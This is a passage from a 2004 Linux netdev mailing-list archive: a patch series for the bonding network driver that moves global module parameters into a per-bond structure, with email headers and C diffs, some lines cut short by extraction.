/* if updelay == 0, no need to advertise about a 0 ms delay */ printk(KERN_INFO DRV_NAME @@ -2138,7 +2141,7 @@ static void bond_mii_monitor(struct net_ "in %d ms.\n", bond_dev->name, slave_dev->name, - updelay * miimon); + bond->params.updelay * bond->params.miimon); } } /* no break ! fall through the BOND_LINK_BACK state in @@ -2153,7 +2156,7 @@ static void bond_mii_monitor(struct net_ ": %s: link status down again after %d " "ms for interface %s.\n", bond_dev->name, - (updelay - slave->delay) * miimon, + (bond->params.updelay - slave->delay) * bond->params.miimon, slave_dev->name); } else { /* link stays up */ @@ -2235,17 +2238,20 @@ static void bond_mii_monitor(struct net_ } re_arm: - mod_timer(&bond->mii_timer, jiffies + delta_in_ticks); + if (bond->params.miimon) { + mod_timer(&bond->mii_timer, jiffies + delta_in_ticks); + } out: read_unlock(&bond->lock); } -static void bond_arp_send_all(struct slave *slave) +static void bond_arp_send_all(struct bonding *bond, struct slave *slave) { int i; + u32 *targets = bond->params.arp_targets; - for (i = 0; (i < BOND_MAX_ARP_TARGETS) && arp_target[i]; i++) { - arp_send(ARPOP_REQUEST, ETH_P_ARP, arp_target[i], slave->dev, + for (i = 0; (i < BOND_MAX_ARP_TARGETS) && targets[i]; i++) { + arp_send(ARPOP_REQUEST, ETH_P_ARP, targets[i], slave->dev, my_ip, NULL, slave->dev->dev_addr, NULL); } @@ -2263,11 +2269,13 @@ static void bond_loadbalance_arp_mon(str struct bonding *bond = bond_dev->priv; struct slave *slave, *oldcurrent; int do_failover = 0; - int delta_in_ticks = (arp_interval * HZ) / 1000; + int delta_in_ticks; int i; read_lock(&bond->lock); + delta_in_ticks = (bond->params.arp_interval * HZ) / 1000; + if (bond->kill_timers) { goto out; } @@ -2352,7 +2360,7 @@ static void bond_loadbalance_arp_mon(str * to be unstable during low/no traffic periods */ if (IS_UP(slave->dev)) { - bond_arp_send_all(slave); + bond_arp_send_all(bond, slave); } } @@ -2372,7 +2380,9 @@ static void bond_loadbalance_arp_mon(str } re_arm: - mod_timer(&bond->arp_timer, jiffies + delta_in_ticks); + if (bond->params.arp_interval) { + mod_timer(&bond->arp_timer, jiffies + delta_in_ticks); + } out: read_unlock(&bond->lock); } @@ -2396,11 +2406,13 @@ static void bond_activebackup_arp_mon(st { struct bonding *bond = bond_dev->priv; struct slave *slave; - int delta_in_ticks = (arp_interval * HZ) / 1000; + int delta_in_ticks; int i; read_lock(&bond->lock); + delta_in_ticks = (bond->params.arp_interval * HZ) / 1000; + if (bond->kill_timers) { goto out; } @@ -2559,7 +2571,7 @@ static void bond_activebackup_arp_mon(st * rx traffic */ if (slave && my_ip) { - bond_arp_send_all(slave); + bond_arp_send_all(bond, slave); } } @@ -2580,7 +2592,7 @@ static void bond_activebackup_arp_mon(st if (IS_UP(slave->dev)) { slave->link = BOND_LINK_BACK; bond_set_slave_active_flags(slave); - bond_arp_send_all(slave); + bond_arp_send_all(bond, slave); slave->jiffies = jiffies; bond->current_arp_slave = slave; break; @@ -2612,7 +2624,9 @@ static void bond_activebackup_arp_mon(st } re_arm: - mod_timer(&bond->arp_timer, jiffies + delta_in_ticks); + if (bond->params.arp_interval) { + mod_timer(&bond->arp_timer, jiffies + delta_in_ticks); + } out: read_unlock(&bond->lock); } @@ -2683,22 +2697,27 @@ static void bond_info_show_master(struct bond_mode_name(bond->params.mode)); if (USES_PRIMARY(bond->params.mode)) { - if (curr) { - seq_printf(seq, - "Currently Active Slave: %s\n", - curr->dev->name); - } + seq_printf(seq, "Primary Slave: %s\n", + (bond->params.primary[0]) ? + bond->params.primary : "None"); + + seq_printf(seq, "Currently Active Slave: %s\n", + (curr) ? curr->dev->name : "None"); } seq_printf(seq, "MII Status: %s\n", (curr) ? "up" : "down"); - seq_printf(seq, "MII Polling Interval (ms): %d\n", miimon); - seq_printf(seq, "Up Delay (ms): %d\n", updelay * miimon); - seq_printf(seq, "Down Delay (ms): %d\n", downdelay * miimon); + seq_printf(seq, "MII Polling Interval (ms): %d\n", bond->params.miimon); + seq_printf(seq, "Up Delay (ms): %d\n", + bond->params.updelay * bond->params.miimon); + seq_printf(seq, "Down Delay (ms): %d\n", + bond->params.downdelay * bond->params.miimon); if (bond->params.mode == BOND_MODE_8023AD) { struct ad_info ad_info; seq_puts(seq, "\n802.3ad info\n"); + seq_printf(seq, "LACP rate: %s\n", + (bond->params.lacp_fast) ? "fast" : "slow"); if (bond_3ad_get_active_agg_info(bond, &ad_info)) { seq_printf(seq, "bond %s has no active aggregator\n", @@ -3058,7 +3077,7 @@ static int bond_open(struct net_device * add_timer(alb_timer); } - if (miimon) { /* link check interval, in milliseconds. */ + if (bond->params.miimon) { /* link check interval, in milliseconds. */ init_timer(mii_timer); mii_timer->expires = jiffies + 1; mii_timer->data = (unsigned long)bond_dev; @@ -3066,7 +3085,7 @@ static int bond_open(struct net_device * add_timer(mii_timer); } - if (arp_interval) { /* arp interval, in milliseconds. */ + if (bond->params.arp_interval) { /* arp interval, in milliseconds. */ init_timer(arp_timer); arp_timer->expires = jiffies + 1; arp_timer->data = (unsigned long)bond_dev; @@ -3115,11 +3134,11 @@ static int bond_close(struct net_device * because a running timer might be trying to hold it too */ - if (miimon) { /* link check interval, in milliseconds. */ + if (bond->params.miimon) { /* link check interval, in milliseconds. */ del_timer_sync(&bond->mii_timer); } - if (arp_interval) { /* arp interval, in milliseconds. */ + if (bond->params.arp_interval) { /* arp interval, in milliseconds. */ del_timer_sync(&bond->arp_timer); } @@ -3602,7 +3621,7 @@ static int bond_xmit_activebackup(struct /* if we are sending arp packets, try to at least identify our own ip address */ - if (arp_interval && !my_ip && + if (bond->params.arp_interval && !my_ip && (skb->protocol == __constant_htons(ETH_P_ARP))) { char *the_ip = (char *)skb->data + sizeof(struct ethhdr) + From amir.noam@intel.com Mon Jan 5 07:30:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 07:30:14 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05FTxTa023161 for ; Mon, 5 Jan 2004 07:30:00 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i05FTkiI019313; Mon, 5 Jan 2004 15:29:46 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i05FTbwm008981; Mon, 5 Jan 2004 15:29:46 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010517294524378 ; Mon, 05 Jan 2004 17:29:45 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i05FTjhb001129; Mon, 5 Jan 2004 17:29:45 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 0/3] [bonding 2.6] Using per-bond parameters Date: Mon, 5 Jan 2004 17:29:45 +0200 User-Agent: KMail/1.5.3 Cc: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401051729.45524.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2217 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev The following patch set makes each bonding interface keep its own set of parameters, rather than use global values. This is the first step necessary to allow the configuration of different parameters to different bonding interfaces. The patches are against the net-drivers-2.5-exp tree (after Shmulik's 'update comment blocks' patch). -- Amir From amir.noam@intel.com Mon Jan 5 07:30:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 07:30:25 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05FUATa023183 for ; Mon, 5 Jan 2004 07:30:11 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i05FTsiI019317; Mon, 5 Jan 2004 15:29:54 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i05FTrwi008988; Mon, 5 Jan 2004 15:29:53 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010517295224380 ; Mon, 05 Jan 2004 17:29:52 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i05FTqhb001132; Mon, 5 Jan 2004 17:29:52 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 1/3] [bonding 2.6] Save parameters in a per-bond data structure Date: Mon, 5 Jan 2004 17:29:51 +0200 User-Agent: KMail/1.5.3 Cc: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401051729.52769.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2218 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev - Save the bonding parameters in a per-bond data structure. - Move all handling of the insmod parameters to bond_check_params(). - Fix the handling of some warning messages regarding parameter use. diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Mon Jan 5 17:17:32 2004 +++ b/drivers/net/bonding/bond_main.c Mon Jan 5 17:17:33 2004 @@ -509,7 +509,6 @@ /* monitor all links that often (in milliseconds). <=0 disables monitoring */ #define BOND_LINK_MON_INTERV 0 #define BOND_LINK_ARP_INTERV 0 -#define MAX_ARP_IP_TARGETS 16 static int max_bonds = BOND_DEFAULT_MAX_BONDS; static int miimon = BOND_LINK_MON_INTERV; @@ -520,7 +519,7 @@ static char *mode = NULL; static char *primary = NULL; static char *lacp_rate = NULL; static int arp_interval = BOND_LINK_ARP_INTERV; -static char *arp_ip_target[MAX_ARP_IP_TARGETS] = { NULL, }; +static char *arp_ip_target[BOND_MAX_ARP_TARGETS] = { NULL, }; MODULE_PARM(max_bonds, "i"); MODULE_PARM_DESC(max_bonds, "Max number of bonded devices"); @@ -540,7 +539,7 @@ MODULE_PARM(lacp_rate, "s"); MODULE_PARM_DESC(lacp_rate, "LACPDU tx rate to request from 802.3ad partner (slow/fast)"); MODULE_PARM(arp_interval, "i"); MODULE_PARM_DESC(arp_interval, "arp interval in milliseconds"); -MODULE_PARM(arp_ip_target, "1-" __MODULE_STRING(MAX_ARP_IP_TARGETS) "s"); +MODULE_PARM(arp_ip_target, "1-" __MODULE_STRING(BOND_MAX_ARP_TARGETS) "s"); MODULE_PARM_DESC(arp_ip_target, "arp targets in n.n.n.n form"); /*----------------------------- Global variables ----------------------------*/ @@ -554,7 +553,7 @@ static LIST_HEAD(bond_dev_list); static struct proc_dir_entry *bond_proc_dir = NULL; #endif -static u32 arp_target[MAX_ARP_IP_TARGETS] = { 0, } ; +static u32 arp_target[BOND_MAX_ARP_TARGETS] = { 0, } ; static int arp_ip_count = 0; static u32 my_ip = 0; static int bond_mode = BOND_MODE_ROUNDROBIN; @@ -590,6 +589,10 @@ static struct bond_parm_tbl bond_mode_tb { NULL, -1}, }; +/*-------------------------- Forward declarations ---------------------------*/ + +static inline void bond_set_mode_ops(struct net_device *bond_dev, int mode); + /*---------------------------- General routines -----------------------------*/ static const char *bond_mode_name(void) @@ -2236,7 +2239,7 @@ static void bond_arp_send_all(struct sla { int i; - for (i = 0; (idev, my_ip, NULL, slave->dev->dev_addr, NULL); @@ -3754,13 +3757,47 @@ static int bond_accept_fastpath(struct n /*------------------------- Device initialization ---------------------------*/ /* + * set bond mode specific net device operations + */ +static inline void bond_set_mode_ops(struct net_device *bond_dev, int mode) +{ + switch (mode) { + case BOND_MODE_ROUNDROBIN: + bond_dev->hard_start_xmit = bond_xmit_roundrobin; + break; + case BOND_MODE_ACTIVEBACKUP: + bond_dev->hard_start_xmit = bond_xmit_activebackup; + break; + case BOND_MODE_XOR: + bond_dev->hard_start_xmit = bond_xmit_xor; + break; + case BOND_MODE_BROADCAST: + bond_dev->hard_start_xmit = bond_xmit_broadcast; + break; + case BOND_MODE_8023AD: + bond_dev->hard_start_xmit = bond_3ad_xmit_xor; + break; + case BOND_MODE_TLB: + case BOND_MODE_ALB: + bond_dev->hard_start_xmit = bond_alb_xmit; + bond_dev->set_mac_address = bond_alb_set_mac_address; + break; + default: + /* Should never happen, mode already checked */ + printk(KERN_ERR DRV_NAME + ": Error: Unknown bonding mode %d\n", + mode); + break; + } +} + +/* * Does not allocate but creates a /proc entry. * Allowed to fail. */ -static int __init bond_init(struct net_device *bond_dev) +static int __init bond_init(struct net_device *bond_dev, struct bond_params *params) { struct bonding *bond = bond_dev->priv; - int count; dprintk("Begin bond_init for %s\n", bond_dev->name); @@ -3768,6 +3805,8 @@ static int __init bond_init(struct net_d rwlock_init(&bond->lock); rwlock_init(&bond->curr_slave_lock); + bond->params = *params; /* copy params struct */ + /* Initialize pointers */ bond->first_slave = NULL; bond->curr_active_slave = NULL; @@ -3784,33 +3823,7 @@ static int __init bond_init(struct net_d bond_dev->change_mtu = bond_change_mtu; bond_dev->set_mac_address = bond_set_mac_address; - switch (bond_mode) { - case BOND_MODE_ROUNDROBIN: - bond_dev->hard_start_xmit = bond_xmit_roundrobin; - break; - case BOND_MODE_ACTIVEBACKUP: - bond_dev->hard_start_xmit = bond_xmit_activebackup; - break; - case BOND_MODE_XOR: - bond_dev->hard_start_xmit = bond_xmit_xor; - break; - case BOND_MODE_BROADCAST: - bond_dev->hard_start_xmit = bond_xmit_broadcast; - break; - case BOND_MODE_8023AD: - bond_dev->hard_start_xmit = bond_3ad_xmit_xor; /* extern */ - break; - case BOND_MODE_TLB: - case BOND_MODE_ALB: - bond_dev->hard_start_xmit = bond_alb_xmit; /* extern */ - bond_dev->set_mac_address = bond_alb_set_mac_address; /* extern */ - break; - default: - printk(KERN_ERR DRV_NAME - ": Error: Unknown bonding mode %d\n", - bond_mode); - return -EINVAL; - } + bond_set_mode_ops(bond_dev, bond->params.mode); bond_dev->destructor = free_netdev; #ifdef CONFIG_NET_FASTROUTE @@ -3821,27 +3834,6 @@ static int __init bond_init(struct net_d bond_dev->tx_queue_len = 0; bond_dev->flags |= IFF_MASTER|IFF_MULTICAST; - printk(KERN_INFO DRV_NAME ": %s registered with", bond_dev->name); - if (miimon) { - printk(" MII link monitoring set to %d ms", miimon); - updelay /= miimon; - downdelay /= miimon; - } else { - printk("out MII link monitoring"); - } - printk(", in %s mode.\n", bond_mode_name()); - - printk(KERN_INFO DRV_NAME ": %s registered with", bond_dev->name); - if (arp_interval > 0) { - printk(" ARP monitoring set to %d ms with %d target(s):", - arp_interval, arp_ip_count); - for (count=0 ; countmode = bond_mode; + params->miimon = miimon; + params->arp_interval = arp_interval; + params->updelay = updelay; + params->downdelay = downdelay; + params->use_carrier = use_carrier; + params->lacp_fast = lacp_fast; + params->primary[0] = 0; + + if (primary) { + strncpy(params->primary, primary, IFNAMSIZ); + params->primary[IFNAMSIZ - 1] = 0; + } + + memcpy(params->arp_targets, arp_target, sizeof(arp_target)); + return 0; } static int __init bonding_init(void) { + struct bond_params params; int i; int res; printk(KERN_INFO "%s", version); - res = bond_check_params(); + res = bond_check_params(¶ms); if (res) { return res; } @@ -4157,7 +4181,7 @@ static int __init bonding_init(void) * /proc files), but before register_netdevice(), because we * need to set function pointers. */ - res = bond_init(bond_dev); + res = bond_init(bond_dev, ¶ms); if (res < 0) { free_netdev(bond_dev); goto out_err; diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Mon Jan 5 17:17:32 2004 +++ b/drivers/net/bonding/bonding.h Mon Jan 5 17:17:33 2004 @@ -36,11 +36,13 @@ #include "bond_3ad.h" #include "bond_alb.h" -#define DRV_VERSION "2.5.3" +#define DRV_VERSION "2.5.4" #define DRV_RELDATE "December 30, 2003" #define DRV_NAME "bonding" #define DRV_DESCRIPTION "Ethernet Channel Bonding Driver" +#define BOND_MAX_ARP_TARGETS 16 + #ifdef BONDING_DEBUG #define dprintk(fmt, args...) \ printk(KERN_DEBUG \ @@ -133,6 +135,18 @@ bond_for_each_slave_from(bond, pos, cnt, (bond)->first_slave) +struct bond_params { + int mode; + int miimon; + int arp_interval; + int use_carrier; + int updelay; + int downdelay; + int lacp_fast; + char primary[IFNAMSIZ]; + u32 arp_targets[BOND_MAX_ARP_TARGETS]; +}; + struct slave { struct net_device *dev; /* first - usefull for panic debug */ struct slave *next; @@ -181,6 +195,7 @@ struct bonding { u16 flags; struct ad_bond_info ad_info; struct alb_bond_info alb_info; + struct bond_params params; }; /** From amir.noam@intel.com Mon Jan 5 07:30:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 07:30:33 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05FUGTa023186 for ; Mon, 5 Jan 2004 07:30:18 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i05FU2iI019364; Mon, 5 Jan 2004 15:30:02 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i05FU1wi009034; Mon, 5 Jan 2004 15:30:02 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010517300024382 ; Mon, 05 Jan 2004 17:30:01 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i05FU1hb001173; Mon, 5 Jan 2004 17:30:01 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 2/3] [bonding 2.6] Use the per-bond value of the bond_mode parameter Date: Mon, 5 Jan 2004 17:30:00 +0200 User-Agent: KMail/1.5.3 Cc: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401051730.01365.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2219 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Change usage of the global 'bond_mode' parameter to the per-bond value. diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Mon Jan 5 17:17:35 2004 +++ b/drivers/net/bonding/bond_main.c Mon Jan 5 17:17:37 2004 @@ -595,9 +595,9 @@ static inline void bond_set_mode_ops(str /*---------------------------- General routines -----------------------------*/ -static const char *bond_mode_name(void) +static const char *bond_mode_name(int mode) { - switch (bond_mode) { + switch (mode) { case BOND_MODE_ROUNDROBIN : return "load balancing (round-robin)"; case BOND_MODE_ACTIVEBACKUP : @@ -803,7 +803,7 @@ static struct dev_mc_list *bond_mc_list_ */ static void bond_set_promiscuity(struct bonding *bond, int inc) { - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { /* write lock already acquired */ if (bond->curr_active_slave) { dev_set_promiscuity(bond->curr_active_slave->dev, inc); @@ -822,7 +822,7 @@ static void bond_set_promiscuity(struct */ static void bond_set_allmulti(struct bonding *bond, int inc) { - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { /* write lock already acquired */ if (bond->curr_active_slave) { dev_set_allmulti(bond->curr_active_slave->dev, inc); @@ -842,7 +842,7 @@ static void bond_set_allmulti(struct bon */ static void bond_mc_add(struct bonding *bond, void *addr, int alen) { - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { /* write lock already acquired */ if (bond->curr_active_slave) { dev_mc_add(bond->curr_active_slave->dev, addr, alen, 0); @@ -862,7 +862,7 @@ static void bond_mc_add(struct bonding * */ static void bond_mc_delete(struct bonding *bond, void *addr, int alen) { - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { /* write lock already acquired */ if (bond->curr_active_slave) { dev_mc_delete(bond->curr_active_slave->dev, addr, alen, 0); @@ -922,13 +922,14 @@ static int bond_mc_list_copy(struct dev_ */ static void bond_mc_list_flush(struct net_device *bond_dev, struct net_device *slave_dev) { + struct bonding *bond = bond_dev->priv; struct dev_mc_list *dmi; for (dmi = bond_dev->mc_list; dmi; dmi = dmi->next) { dev_mc_delete(slave_dev, dmi->dmi_addr, dmi->dmi_addrlen, 0); } - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { /* del lacpdu mc addr from mc list */ u8 lacpdu_multicast[ETH_ALEN] = MULTICAST_LACPDU_ADDR; @@ -947,7 +948,7 @@ static void bond_mc_swap(struct bonding { struct dev_mc_list *dmi; - if (!USES_PRIMARY(bond_mode)) { + if (!USES_PRIMARY(bond->params.mode)) { /* nothing to do - mc list is already up-to-date on * all slaves */ @@ -1064,7 +1065,7 @@ static void bond_change_active_slave(str if (new_active) { if (new_active->link == BOND_LINK_BACK) { - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { printk(KERN_INFO DRV_NAME ": %s: making interface %s the new " "active one %d ms earlier.\n", @@ -1076,16 +1077,16 @@ static void bond_change_active_slave(str new_active->link = BOND_LINK_UP; new_active->jiffies = jiffies; - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { bond_3ad_handle_link_change(new_active, BOND_LINK_UP); } - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { bond_alb_handle_link_change(bond, new_active, BOND_LINK_UP); } } else { - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { printk(KERN_INFO DRV_NAME ": %s: making interface %s the new " "active one.\n", @@ -1094,7 +1095,7 @@ static void bond_change_active_slave(str } } - if (bond_mode == BOND_MODE_ACTIVEBACKUP) { + if (bond->params.mode == BOND_MODE_ACTIVEBACKUP) { if (old_active) { bond_set_slave_inactive_flags(old_active); } @@ -1104,12 +1105,12 @@ static void bond_change_active_slave(str } } - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { bond_mc_swap(bond, new_active, old_active); } - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { bond_alb_handle_active_change(bond, new_active); } else { bond->curr_active_slave = new_active; @@ -1264,13 +1265,13 @@ static int bond_enslave(struct net_devic return -EINVAL; } - if ((bond_mode == BOND_MODE_8023AD) || - (bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_8023AD) || + (bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { printk(KERN_ERR DRV_NAME ": Error: to use %s mode, you must upgrade " "ifenslave.\n", - bond_mode_name()); + bond_mode_name(bond->params.mode)); return -EOPNOTSUPP; } } @@ -1326,8 +1327,8 @@ static int bond_enslave(struct net_devic new_slave->dev = slave_dev; - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { /* bond_alb_init_slave() must be called before all other stages since * it might fail and we do not want to have to undo everything */ @@ -1342,7 +1343,7 @@ static int bond_enslave(struct net_devic * curr_active_slave, and that is taken care of later when calling * bond_change_active() */ - if (!USES_PRIMARY(bond_mode)) { + if (!USES_PRIMARY(bond->params.mode)) { /* set promiscuity level to new slave */ if (bond_dev->flags & IFF_PROMISC) { dev_set_promiscuity(slave_dev, 1); @@ -1359,7 +1360,7 @@ static int bond_enslave(struct net_devic } } - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { /* add lacpdu mc addr to mc list */ u8 lacpdu_multicast[ETH_ALEN] = MULTICAST_LACPDU_ADDR; @@ -1432,7 +1433,7 @@ static int bond_enslave(struct net_devic "forced to 100Mbps, duplex forced to Full.\n", new_slave->dev->name); - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { printk(KERN_WARNING "Operation of 802.3ad mode requires ETHTOOL " "support in base driver for proper aggregator " @@ -1440,14 +1441,14 @@ static int bond_enslave(struct net_devic } } - if (USES_PRIMARY(bond_mode) && primary) { + if (USES_PRIMARY(bond->params.mode) && primary) { /* if there is a primary slave, remember it */ if (strcmp(primary, new_slave->dev->name) == 0) { bond->primary_slave = new_slave; } } - switch (bond_mode) { + switch (bond->params.mode) { case BOND_MODE_ACTIVEBACKUP: /* if we're in active-backup mode, we need one and only one active * interface. The backup interfaces will have their NOARP flag set @@ -1637,7 +1638,7 @@ static int bond_release(struct net_devic } /* Inform AD package of unbinding of slave. */ - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { /* must be called before the slave is * detached from the list */ @@ -1666,8 +1667,8 @@ static int bond_release(struct net_devic bond_change_active_slave(bond, NULL); } - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { /* Must be called only after the slave has been * detached from the list and the curr_active_slave * has been cleared (if our_slave == old_current), @@ -1693,7 +1694,7 @@ static int bond_release(struct net_devic * promisc and mc settings if it was the curr_active_slave, but that was * already taken care of above when we detached the slave */ - if (!USES_PRIMARY(bond_mode)) { + if (!USES_PRIMARY(bond->params.mode)) { /* unset promiscuity level from slave */ if (bond_dev->flags & IFF_PROMISC) { dev_set_promiscuity(slave_dev, -1); @@ -1765,15 +1766,15 @@ static int bond_release_all(struct net_d /* Inform AD package of unbinding of slave * before slave is detached from the list. */ - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { bond_3ad_unbind_slave(slave); } slave_dev = slave->dev; bond_detach_slave(bond, slave); - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { /* must be called only after the slave * has been detached from the list */ @@ -1790,7 +1791,7 @@ static int bond_release_all(struct net_d * promisc and mc settings if it was the curr_active_slave, but that was * already taken care of above when we detached the slave */ - if (!USES_PRIMARY(bond_mode)) { + if (!USES_PRIMARY(bond->params.mode)) { /* unset promiscuity level from slave */ if (bond_dev->flags & IFF_PROMISC) { dev_set_promiscuity(slave_dev, -1); @@ -1864,6 +1865,10 @@ static int bond_ioctl_change_active(stru struct slave *new_active = NULL; int res = 0; + if (!USES_PRIMARY(bond->params.mode)) { + return -EINVAL; + } + /* Verify that master_dev is indeed the master of slave_dev */ if (!(slave_dev->flags & IFF_SLAVE) || (slave_dev->master != bond_dev)) { @@ -1952,7 +1957,7 @@ static int bond_info_query(struct net_de { struct bonding *bond = bond_dev->priv; - info->bond_mode = bond_mode; + info->bond_mode = bond->params.mode; info->miimon = miimon; read_lock_bh(&bond->lock); @@ -2054,7 +2059,7 @@ static void bond_mii_monitor(struct net_ "%d ms.\n", bond_dev->name, IS_UP(slave_dev) - ? ((bond_mode == BOND_MODE_ACTIVEBACKUP) + ? ((bond->params.mode == BOND_MODE_ACTIVEBACKUP) ? ((slave == oldcurrent) ? "active " : "backup ") : "") @@ -2076,8 +2081,8 @@ static void bond_mii_monitor(struct net_ /* in active/backup mode, we must * completely disable this interface */ - if ((bond_mode == BOND_MODE_ACTIVEBACKUP) || - (bond_mode == BOND_MODE_8023AD)) { + if ((bond->params.mode == BOND_MODE_ACTIVEBACKUP) || + (bond->params.mode == BOND_MODE_8023AD)) { bond_set_slave_inactive_flags(slave); } @@ -2089,12 +2094,12 @@ static void 